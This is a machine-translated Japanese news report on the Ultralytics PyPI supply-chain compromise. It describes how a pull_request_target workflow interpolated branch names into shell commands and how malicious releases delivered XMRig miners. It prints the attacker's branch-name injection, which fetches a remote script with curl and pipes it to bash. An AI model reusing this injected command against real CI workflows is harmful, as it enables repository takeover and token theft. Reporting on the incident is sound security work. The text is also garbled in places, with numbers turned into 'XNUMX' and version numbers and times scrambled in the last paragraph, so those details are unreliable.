攻撃者は、画像内のオブジェクトの検出や画像のセグメント化などのコンピューター ビジョンの問題を解決するために使用される Ultralytics Python ライブラリ リポジトリ内の GitHub Actions ハンドラー権限を使用してコードを実行できました。攻撃者はリポジトリへのアクセスを取得した後、暗号通貨マイニングのための悪意のある変更を含むいくつかの新しい Ultralytics リリースを PyPI ディレクトリに公開しました。過去 6.4 か月間で、Ultralytics ライブラリは PyPI カタログから XNUMX 万回以上ダウンロードされました。
リポジトリを侵害するために、ultralytics-actions パッケージの脆弱性が使用されました。このパッケージは、GitHub Actions メカニズムを使用して GitHub 上のリポジトリで特定のアクションが実行されるときにハンドラーを自動的に起動するために使用されます。 Ultralytics プロジェクトでは、脆弱なハンドラーが pull_request_target イベントにバインドされており、新しいプル リクエストが到着すると呼び出されました。特に、送信されたプル リクエストのコードをフォーマットするために、format.yml ハンドラーが呼び出され、action.yml ファイルの「run」セクションで指定されたコードが実行されました。これには、置換パターンを含むシェル コマンドが含まれていました: git pullorigin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
したがって、プル リクエストで言及された Git ブランチの名前は、適切にエスケープされずにシェル コマンドに置き換えられました。 8 月に、ultralytics-actions パッケージが、echo 関数での外部値の使用に関連する同様の脆弱性をすでに修正していることは注目に値します: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »
GitHub Actions ハンドラーのコンテキストでコードの実行を整理するために、攻撃者はブランチ名として次を指定して、ultralytics リポジトリにプル リクエストを送信しました。 openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
したがって、プル リクエストを受信すると、攻撃者が指定した文字列「$(…)」がコードに挿入され、その後ハンドラーが起動されると、コード「curl -sSfL raw.githubusercontent. com/…/file.sh |バッシュ」。

GitHub Actions のコンテキストでコードを実行すると、リポジトリ アクセス トークンやその他の機密データをキャプチャできます。攻撃者がどのようにして GitHub Actions でコードを実行できるリリースを生成できたのかはまだ明らかではありませんが、publish.yml ハンドラーの変更によりこれが可能になったと考えられます (攻撃者は、 PyPI でリリースを公開することが許可されているアカウント)、およびリリースにデータを挿入するために GitHub Actions ビルド キャッシュを汚染するテクノロジーの使用。
Ultralytics 8.3.41の最初の悪意あるリリースは、12月4日午後11時51分(MSK)に攻撃者によってPyPIに公開され、翌日午後12時15分に削除されました。午後3時47分には、別のリリースである8.3.42が投稿され、午後4時47分に削除されました。したがって、悪意のあるバージョンは合計約13時間ダウンロード可能でした(PyPIは、Ultralyticsライブラリの1日あたり約25万回のダウンロードを記録しています)。リリース8.3.41と8.3.42には、外部からダウンロードされるコードが含まれていました。 サーバー 暗号通貨マイニング用の XMRig コンポーネント。
プロジェクト開発者は問題を修正し、修正リリース 8.3.43 と 8.3.44 を作成しましたが、その 04 日後に別の攻撃が実行され、攻撃者は本日 41:05 と 27:8.3.45 (MSK) に 8.3.46 つの追加の悪意のあるリリースを公開しました。 8.3.44 および XNUMX。他のマイニング コードが含まれます。調査が終了するまで、ユーザーは新しいバージョンのインストールを控え、依存関係としてリリース XNUMX を修正することをお勧めします。
出所: オープンネット.ru
